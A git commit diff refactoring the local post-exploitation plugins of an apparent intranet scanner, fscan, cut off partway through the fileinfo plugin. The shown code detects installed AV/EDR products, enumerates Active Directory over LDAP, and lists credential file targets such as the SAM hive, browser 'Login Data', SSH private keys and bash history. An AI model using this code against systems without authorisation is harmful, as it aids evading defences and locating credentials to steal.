refactor: 重构本地插件架构并支持多平台

- 简化本地插件架构,移除不必要的连接器抽象
- 重构6个本地插件使用统一的简化架构
- 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy)
- 修复插件注册和系统集成
- 优化代码结构和错误处理
This commit is contained in:
ZacharyZcR 2025-08-11 04:10:04 +08:00
parent 1cfb21ed64
commit a86098d6b6
11 changed files with 415 additions and 687 deletions

View File

@ -374,12 +374,12 @@ func checkParameterConflicts() {
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
@ -390,7 +390,7 @@ func checkParameterConflicts() {
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
}

View File

@ -22,26 +22,10 @@ import (
//go:embed auto.json
var embeddedAVDatabase []byte
// AVDetectPlugin AV/EDR检测插件
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
type AVDetectPlugin struct {
*local.BaseLocalPlugin
connector *AVDetectConnector
// AV/EDR数据库
avDatabase map[string]AVProduct
configPath string
}
// AVDetectConnector AV/EDR检测连接器
type AVDetectConnector struct {
*local.BaseLocalConnector
}
// AVDetectConnection AV/EDR检测连接对象
type AVDetectConnection struct {
*local.LocalConnection
RunningProcesses []ProcessInfo
SystemInfo map[string]string
}
// AVProduct AV/EDR产品信息
@ -69,75 +53,44 @@ type DetectionResult struct {
Category string `json:"category"`
}
// NewAVDetectPlugin 创建AV/EDR检测插件
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
func NewAVDetectPlugin() *AVDetectPlugin {
metadata := &base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件",
Description: "自动化AV/EDR检测插件基于嵌入式规则库识别安全软件",
Category: "local",
Tags: []string{"local", "av", "edr", "detection", "security"},
Protocols: []string{"local"},
}
connector := NewAVDetectConnector()
plugin := &AVDetectPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
avDatabase: make(map[string]AVProduct),
configPath: "auto.json", // 默认配置文件路径
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 设置支持的平台 (仅Windows)
plugin.SetPlatformSupport([]string{"windows"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewAVDetectConnector 创建AV/EDR检测连接器
func NewAVDetectConnector() *AVDetectConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &AVDetectConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立AV/EDR检测连接
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
// Initialize 初始化插件
func (p *AVDetectPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
baseConn := localConn.(*local.LocalConnection)
// 获取系统进程信息
processes, err := c.getRunningProcesses()
if err != nil {
return nil, fmt.Errorf("获取进程列表失败: %v", err)
}
avDetectConn := &AVDetectConnection{
LocalConnection: baseConn,
RunningProcesses: processes,
SystemInfo: baseConn.SystemInfo,
}
return avDetectConn, nil
}
// Close 关闭AV/EDR检测连接
func (c *AVDetectConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// 加载AV数据库
return p.loadAVDatabase()
}
// getRunningProcesses 获取运行中的进程列表
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
var processes []ProcessInfo
var cmd *exec.Cmd
@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
}
// 解析命令输出
processes, err = c.parseProcessOutput(string(output))
processes, err = p.parseProcessOutput(string(output))
if err != nil {
return nil, fmt.Errorf("解析进程信息失败: %v", err)
}
@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
}
// parseProcessOutput 解析进程命令输出
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
var processes []ProcessInfo
scanner := bufio.NewScanner(strings.NewReader(output))
@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
}
// 解析PowerShell CSV格式Name,Id,ProcessName
fields := c.parseCSVLine(line)
fields := p.parseCSVLine(line)
if len(fields) >= 3 {
processName := strings.Trim(fields[0], "\"")
// 如果进程名不包含.exe则添加
@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
}
// parseCSVLine 解析CSV行处理引号内的逗号
func (c *AVDetectConnector) parseCSVLine(line string) []string {
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
var fields []string
var current strings.Builder
inQuotes := false
@ -266,49 +219,58 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行AV/EDR检测扫描
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始AV/EDR安全软件检测...")
common.LogInfo("开始AV/EDR安全软件检测...")
// 加载AV数据库
err := p.loadAVDatabase()
// 获取运行进程
processes, err := p.getRunningProcesses()
if err != nil {
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
// 不返回错误,继续执行但结果可能不完整
processes = []ProcessInfo{}
}
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
// 检测AV/EDR产品
detectionResults := p.detectAVEDR(processes)
avDetectConn := conn.(*AVDetectConnection)
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
// 执行AV/EDR检测
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
// 获取系统信息
systemInfo := p.GetSystemInfo()
// 生成检测报告
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
report := p.generateDetectionReport(detectionResults, systemInfo)
if len(detectionResults) == 0 {
common.LogInfo("未检测到已知的AV/EDR安全产品")
return &base.ScanResult{
Success: true,
Service: "AVDetect",
Banner: "未检测到已知的AV/EDR安全产品",
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}, nil
}
// 输出检测结果
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, result := range detectionResults {
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
}
result := &base.ScanResult{
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
Success: true,
Service: "AVDetect",
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(avDetectConn.RunningProcesses),
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),

View File

@ -1,113 +1,27 @@
package local
import (
"context"
"fmt"
"os"
"runtime"
"path/filepath"
"github.com/shadow1ng/fscan/common"
)
// BaseLocalConnector 基础本地连接器实现
type BaseLocalConnector struct {
workingDir string
homeDir string
systemInfo map[string]string
}
// 本地插件实用工具函数
// 由于移除了LocalConnector概念这个文件现在包含实用的工具函数
// LocalConnection 本地连接对象
type LocalConnection struct {
WorkingDir string
HomeDir string
SystemInfo map[string]string
TempDir string
}
// NewBaseLocalConnector 创建基础本地连接器
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, err
}
workingDir, err := os.Getwd()
if err != nil {
return nil, err
}
return &BaseLocalConnector{
workingDir: workingDir,
homeDir: homeDir,
systemInfo: make(map[string]string),
}, nil
}
// Connect 建立本地连接
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 初始化系统信息
c.initSystemInfo()
tempDir := os.TempDir()
conn := &LocalConnection{
WorkingDir: c.workingDir,
HomeDir: c.homeDir,
SystemInfo: c.systemInfo,
TempDir: tempDir,
}
return conn, nil
}
// Close 关闭连接
func (c *BaseLocalConnector) Close(conn interface{}) error {
// 本地连接无需特殊关闭操作
return nil
}
// GetSystemInfo 获取系统信息
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
localConn, ok := conn.(*LocalConnection)
if !ok {
return nil, fmt.Errorf("无效的连接类型")
}
return localConn.SystemInfo, nil
}
// initSystemInfo 初始化系统信息
func (c *BaseLocalConnector) initSystemInfo() {
c.systemInfo["os"] = runtime.GOOS
c.systemInfo["arch"] = runtime.GOARCH
c.systemInfo["home_dir"] = c.homeDir
c.systemInfo["working_dir"] = c.workingDir
c.systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if username := os.Getenv("USER"); username != "" {
c.systemInfo["username"] = username
} else if username := os.Getenv("USERNAME"); username != "" {
c.systemInfo["username"] = username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
c.systemInfo["hostname"] = hostname
}
}
// GetCommonDirectories 获取常见目录路径
func (c *BaseLocalConnector) GetCommonDirectories() []string {
// GetCommonDirectories 获取常见目录路径 - 实用工具函数
func GetCommonDirectories() []string {
var dirs []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
"C:\\Program Files",
@ -115,10 +29,10 @@ func (c *BaseLocalConnector) GetCommonDirectories() []string {
}
case "linux", "darwin":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
"/opt",
"/usr/local",
"/var/www",
@ -129,10 +43,12 @@ func (c *BaseLocalConnector) GetCommonDirectories() []string {
return dirs
}
// GetSensitiveFiles 获取敏感文件路径
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
// GetSensitiveFiles 获取敏感文件路径 - 实用工具函数
func GetSensitiveFiles() []string {
var files []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
files = []string{
@ -140,9 +56,9 @@ func (c *BaseLocalConnector) GetSensitiveFiles() []string {
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}
case "linux", "darwin":
files = []string{
@ -153,9 +69,9 @@ func (c *BaseLocalConnector) GetSensitiveFiles() []string {
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/root/.bash_history",
filepath.Join(c.homeDir, ".ssh/id_rsa"),
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
filepath.Join(c.homeDir, ".bash_history"),
filepath.Join(homeDir, ".ssh/id_rsa"),
filepath.Join(homeDir, ".ssh/authorized_keys"),
filepath.Join(homeDir, ".bash_history"),
}
}

View File

@ -15,28 +15,19 @@ import (
"strings"
)
// DCInfoPlugin 域控信息收集插件
// DCInfoPlugin 域控信息收集插件 - 使用简化架构
type DCInfoPlugin struct {
*local.BaseLocalPlugin
connector *DCInfoConnector
}
// DCInfoConnector 域控信息连接器
type DCInfoConnector struct {
*local.BaseLocalConnector
conn *ldap.Conn
baseDN string
}
// DomainConnection 域连接对象
type DomainConnection struct {
*local.LocalConnection
LDAPConn *ldap.Conn
BaseDN string
// DomainInfo 域信息结构
type DomainInfo struct {
Domain string
BaseDN string
LDAPConn *ldap.Conn
}
// NewDCInfoPlugin 创建域控信息收集插件
// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本
func NewDCInfoPlugin() *DCInfoPlugin {
metadata := &base.PluginMetadata{
Name: "dcinfo",
@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin {
Protocols: []string{"local"},
}
connector := NewDCInfoConnector()
plugin := &DCInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要域环境权限
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
// 不需要特殊权限,使用当前用户凭据
plugin.SetRequiresPrivileges(false)
return plugin
}
@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S
return p.ScanLocal(ctx, info)
}
// NewDCInfoConnector 创建域控信息连接器
func NewDCInfoConnector() *DCInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &DCInfoConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立域控连接
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// connectToDomain 连接到域控制器 - 简化版本
func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
// 获取域控制器地址
dcHost, domain, err := c.getDomainController()
dcHost, domain, err := p.getDomainController()
if err != nil {
return nil, fmt.Errorf("获取域控制器失败: %v", err)
}
// 建立LDAP连接
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
if err != nil {
return nil, fmt.Errorf("LDAP连接失败: %v", err)
}
domainConn := &DomainConnection{
LocalConnection: baseConn,
LDAPConn: ldapConn,
BaseDN: baseDN,
return &DomainInfo{
Domain: domain,
}
return domainConn, nil
}
// Close 关闭域控连接
func (c *DCInfoConnector) Close(conn interface{}) error {
if domainConn, ok := conn.(*DomainConnection); ok {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}
return c.BaseLocalConnector.Close(conn)
BaseDN: baseDN,
LDAPConn: ldapConn,
}, nil
}
// getDomainController 获取域控制器地址
func (c *DCInfoConnector) getDomainController() (string, string, error) {
func (p *DCInfoPlugin) getDomainController() (string, string, error) {
common.LogDebug("开始查询域控制器地址...")
// 方法1: 尝试使用PowerShell获取域名
domain, err := c.getDomainNamePowerShell()
domain, err := p.getDomainNamePowerShell()
if err != nil {
// 方法2: 尝试使用wmic如果可用
domain, err = c.getDomainNameWmic()
domain, err = p.getDomainNameWmic()
if err != nil {
// 方法3: 尝试使用环境变量
domain, err = c.getDomainNameFromEnv()
domain, err = p.getDomainNameFromEnv()
if err != nil {
return "", "", fmt.Errorf("获取域名失败: %v", err)
}
@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 查询域控制器
dcHost, err := c.findDomainController(domain)
dcHost, err := p.findDomainController(domain)
if err != nil {
// 备选方案:使用域名直接构造
dcHost = fmt.Sprintf("dc.%s", domain)
@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
}
// getDomainNamePowerShell 使用PowerShell获取域名
func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
output, err := cmd.Output()
if err != nil {
@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
}
// getDomainNameWmic 使用wmic获取域名
func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
output, err := cmd.Output()
if err != nil {
@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
}
// getDomainNameFromEnv 从环境变量获取域名
func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
// 尝试从环境变量获取
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
output, err := cmd.Output()
@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
}
// findDomainController 查找域控制器
func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
// 方法1: 使用nslookup查询SRV记录
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err := cmd.Output()
@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
}
// connectToLDAP 连接到LDAP服务器
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
// 创建SSPI客户端
@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 方法2: 尝试使用IPv4地址
common.LogDebug("方法2: 解析IPv4地址")
ipv4, err := c.resolveIPv4(dcHost)
ipv4, err := p.resolveIPv4(dcHost)
if err == nil {
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 获取BaseDN
common.LogDebug("获取BaseDN...")
baseDN, err := c.getBaseDN(conn, domain)
baseDN, err := p.getBaseDN(conn, domain)
if err != nil {
conn.Close()
return nil, "", err
@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
}
// getBaseDN 获取BaseDN
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
searchRequest := ldap.NewSearchRequest(
"",
ldap.ScopeBaseObject,
@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err
}
// resolveIPv4 解析主机名为IPv4地址
func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
ips, err := net.LookupIP(hostname)
if err != nil {
return "", err
@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
return "", fmt.Errorf("未找到IPv4地址")
}
// ScanLocal 执行域控信息扫描
// ScanLocal 执行域控信息扫描 - 简化版本
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始域控制器信息收集...")
common.LogInfo("开始域控制器信息收集...")
// 建立域控连接
conn, err := p.connector.Connect(ctx, info)
domainConn, err := p.connectToDomain()
if err != nil {
// 提供更友好的错误信息
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
Error: fmt.Errorf("域控连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
domainConn := conn.(*DomainConnection)
defer func() {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}()
// 收集域信息
domainData := make(map[string]interface{})
@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
}
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: len(domainData) > 0,
Service: "DCInfo",
Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
Extra: domainData,
Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
Extra: map[string]interface{}{
"domain_data": domainData,
"system_info": systemInfo,
},
}
common.LogSuccess("域控制器信息收集完成")
@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
}
// getDomainInfo 获取域基本信息
func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeBaseObject,
@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa
}
// getDomainControllers 获取域控制器详细信息
func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
dcQuery := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin
}
// getDomainUsersDetailed 获取域用户详细信息
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str
}
// getDomainAdminsDetailed 获取域管理员详细信息
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
// 获取Domain Admins组
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st
}
// getComputersDetailed 获取域计算机详细信息
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin
}
// getUserInfoByDN 根据DN获取用户信息
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) {
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
userDN,
ldap.ScopeBaseObject,
@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m
}
// getGroupPolicies 获取组策略信息
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索GPO...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in
}
// getOrganizationalUnits 获取组织单位信息
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索OU和容器...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d
}, nil
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
// RegisterDCInfoPlugin 注册域控信息收集插件
func RegisterDCInfoPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "dcinfo",
Version: "1.0.0",
@ -1031,5 +998,24 @@ func init() {
func() base.Plugin {
return NewDCInfoPlugin()
},
))
)
base.GlobalPluginRegistry.Register("dcinfo", factory)
}
// GetInfo 获取插件信息
func (p *DCInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows域控制器信息收集插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n")
info.WriteString("要求: 必须在域环境中运行\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterDCInfoPlugin()
}

View File

@ -12,24 +12,18 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// FileInfoPlugin 文件信息收集插件
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
type FileInfoPlugin struct {
*local.BaseLocalPlugin
connector *FileInfoConnector
// 配置选项
blacklist []string
whitelist []string
}
// FileInfoConnector 文件信息连接器
type FileInfoConnector struct {
*local.BaseLocalConnector
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{
Name: "fileinfo",
@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin {
Protocols: []string{"local"},
}
connector := NewFileInfoConnector()
plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
blacklist: []string{
// 可执行文件和库
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin {
// 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
// 初始化敏感文件和搜索目录
plugin.initSensitiveFiles()
return plugin
}
@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// NewFileInfoConnector 创建文件信息连接器
func NewFileInfoConnector() *FileInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
connector := &FileInfoConnector{
BaseLocalConnector: baseConnector,
}
connector.initSensitiveFiles()
return connector
}
// initSensitiveFiles 初始化敏感文件列表
func (c *FileInfoConnector) initSensitiveFiles() {
func (p *FileInfoPlugin) initSensitiveFiles() {
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
c.sensitiveFiles = []string{
p.sensitiveFiles = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
c.sensitiveFiles = append(c.sensitiveFiles, []string{
if homeDir != "" {
p.sensitiveFiles = append(p.sensitiveFiles, []string{
